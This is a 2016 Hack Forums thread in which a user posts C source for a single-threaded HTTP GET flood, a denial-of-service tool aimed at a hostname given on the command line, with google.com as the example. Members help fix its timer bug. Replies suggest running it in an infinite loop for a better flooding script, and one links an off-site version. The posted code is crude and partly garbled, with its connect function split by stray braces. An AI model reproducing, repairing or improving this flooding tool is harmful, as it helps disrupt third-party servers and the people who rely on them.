

# Forum:[Hack Forums](#)

Thread: [HTTP GET Flood](#)

\_Valor - May 30, 2016, 5:50 pm

Hello, my only experience with C is from a cpp book I read about a year ago, so the code is atrocious.

I'm trying to use Unix time + the input to create a GET request flood for that amount of time.

However, the program just randomly generates times that it's hitting for, i.e.:

Code ./sd google.com 2

Hitting google.com for -295879044 seconds

Here's the current code, I got it from a website that showed basic a basic GET request and I'm just turning it into a single threaded flood that doesn't use a proxy list.

Thanks in advance.

```
Code #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
```

```
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
```

```
int socket_connect(char *host, in_port_t port){
    struct hostent *hp;
    struct sockaddr_in addr;
    int on = 1, sock;

    if((hp = gethostbyname(host)) == NULL){
        perror("gethostbyname");
        exit(1);
    }
    bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));

    if(sock == -1){
        perror("setsockopt");
        exit(1);
    }
}
```

```

}

if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
    perror("connect");
    exit(1);
}

return sock;
}

#define BUFFER_SIZE 1024

void flood(unsigned char *host, int timeFoo)
{
    int fd;
    char buffer[BUFFER_SIZE];

    int timeEnd = time(NULL) + timeFoo;
    fprintf(stderr, "Hitting %s for %d seconds\n", host, timeFoo);
    fd = socket_connect(host, 80);
    while(timeEnd > time(NULL))
    {
        write(fd, "GET /\n", strlen("GET /\n")); // write(fd, char[], len);
        bzero(buffer, BUFFER_SIZE);
    }

    while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
        fprintf(stderr, "%s", buffer);
        bzero(buffer, BUFFER_SIZE);
    }

    shutdown(fd, SHUT_RDWR);
    close(fd);
}

int main(int argc, char *argv[]){

    if(argc < 3){
        fprintf(stderr, "Usage: %s <hostname> <time>\n", argv[0]);
        exit(1);
    }
    unsigned char *host = argv[1];
    int timeBar = argv[2];
    flood(host, timeBar);
    fprintf(stderr, "Done flooding...");
    return 0;
}

```

Mr Kake - May 30, 2016, 7:08 pm

Code int timeEnd = time(NULL) + timeFoo;Code time(NULL)  
I think that is your problem.

*\_Valor - May 30, 2016, 7:49 pm*

(May 30, 2016 07:08 PM)Mr Destine Wrote: [\[CITE\]](#) Code `int timeEnd = time(NULL) + timeFoo;Code time(NULL)`

I think that is your problem.

`time(NULL)` just represents time from the beginning on Unix time(can't remember the formal name at all).

*0xDEAD10CC - May 30, 2016, 8:39 pm*

(May 30, 2016 07:49 PM)\_Valor Wrote: [\[CITE\]](#) `time(NULL)` just represents time from the beginning on Unix time(can't remember the formal name at all).

My first question would be why you're using epoch in the first place? How does the math make sense to you? Adding epoch to an elapsed time? With your while loop you would've done just as much good writing while(true) as long as timeFoo has a value > 0.

edit: Didn't read the function call, that is not the beginning of unix time though.

This is your issue:

```
Code int timeBar = argv[2];
    flood(host, timeBar);
```

Why do you think that argv is an int array? :S

```
Code int main(int argc, char *argv[])
```

^You are printing the pointer value. Also not sure why you're writing a status message that doesn't really indicate error to stderr. If you're worried about stdout being buffered, you can force output with `fflush(stdout)`.

*\_Valor - May 30, 2016, 8:43 pm*

(May 30, 2016 08:39 PM)0xDEAD10CC Wrote: [\[CITE\]](#) My first question would be why you're using epoch in the first place? How does the math make sense to you? Adding epoch to an elapsed time?

This is your issue:

```
Code int timeBar = argv[2];
    flood(host, timeBar);
```

Why do you think that argv is an int array? :S you are printing the pointer value. Also not sure why you're writing a status message that doesn't really indicate error to stderr. If you're worried about stdout being buffered, you can force output with `fflush(stdout)`.

1. When Epoch = Epoch + user inputted time, stop the attack.

2. That's embarrassing. I fixed it now. And I used `fprintf(stderr...)` because `printf` wasn't writing to console and I wanted to focus more on at least outputting something so I know where it was breaking.

*0xDEAD10CC - May 30, 2016, 8:44 pm*

(May 30, 2016 08:43 PM)\_Valor Wrote: [\[CITE\]](#) 1. When Epoch = Epoch + user inputted time, stop the attack.

2. That's embarrassing. I fixed it now. And I used `fprintf(stderr...)` because `printf` wasn't writing to console and I wanted to focus more on at least outputting something so I know where it was breaking.

Epoch is a constant value, it does NOT change... I just looked though and it's not doing what you think. `time(NULL)` is the current time, not epoch.

*\_Valor - May 30, 2016, 9:12 pm*

(May 30, 2016 08:44 PM)0xDEAD10CC Wrote: [\[CITE\]](#) Epoch is a constant value, it does NOT

change... I just looked though and it's not doing what you think. time(NULL) is the current time, not epoch.

Epoch changes, it's the number of seconds since 1 January 1971.

I got it working the way I wanted it to.

```
Code int timeEnd = time(NULL) + timeFoo;
```

```
while(timeEnd > time(NULL))
```

```
...
```

Works perfectly.

**0xDEAD10CC** - May 30, 2016, 10:13 pm

(May 30, 2016 09:12 PM)\_Valor Wrote: [\[CITE\]](#) Epoch changes, it's the number of seconds since 1 January 1971.

...

... No it's not, and you could have done the research to see what I'm talking about:

<http://stackoverflow.com/questions/1090869/why-is-1-1-1970-the-epoch-time>

Epoch is a specific time used as a reference, it is not the difference between current time and 1970. Do you think 01/01/1970 changes? ? You'd better confirm that you know what you're talking about before spreading false information.

And as I also stated, time(NULL) is not epoch, it is the current time using epoch as a reference... It's not epoch itself.

**\_Valor** - May 30, 2016, 11:00 pm

(May 30, 2016 10:13 PM)0xDEAD10CC Wrote: [\[CITE\]](#) ... No it's not, and you could have done the research to see what I'm talking about:

<http://stackoverflow.com/questions/1090869/why-is-1-1-1970-the-epoch-time>

Epoch is a specific time used as a reference, it is not the difference between current time and 1970. Do you think 01/01/1970 changes? ? You'd better confirm that you know what you're talking about before spreading false information.

And as I also stated, time(NULL) is not epoch, it is the current time using epoch as a reference... It's not epoch itself.

Apologies, you're correct.

**Remix** - May 31, 2016, 3:44 am

Just put everything in a infinite loop and you got a HQ flooding script

**REDRIFLE** - June 10, 2016, 8:32 pm

Hey that's a cute little program you have there.

**\_Valor** - June 10, 2016, 9:02 pm

(Jun 10, 2016 08:32 PM)REDRIFLE Wrote: [\[CITE\]](#) Hey that's a cute little program you have there.

I literally took code for a basic get request, and turned it into a timer based flood. the program got more complicated after i fixed the timer issue.

also, this thread has been dead so there's not really a point in posting

**REDRIFLE** - June 11, 2016, 2:51 pm

But you're supposed to do it like this:

<https://ghostbin.com/paste/vgsku>

(cannot post here because my code makes HF think I'm trying to hack it, kek fail m8)

Not that this will ever work because the host kills the connection before it even gets to 1sec, you'd need to read the http spec very carefully to construct your request so that the connection doesn't get closed at the remote end.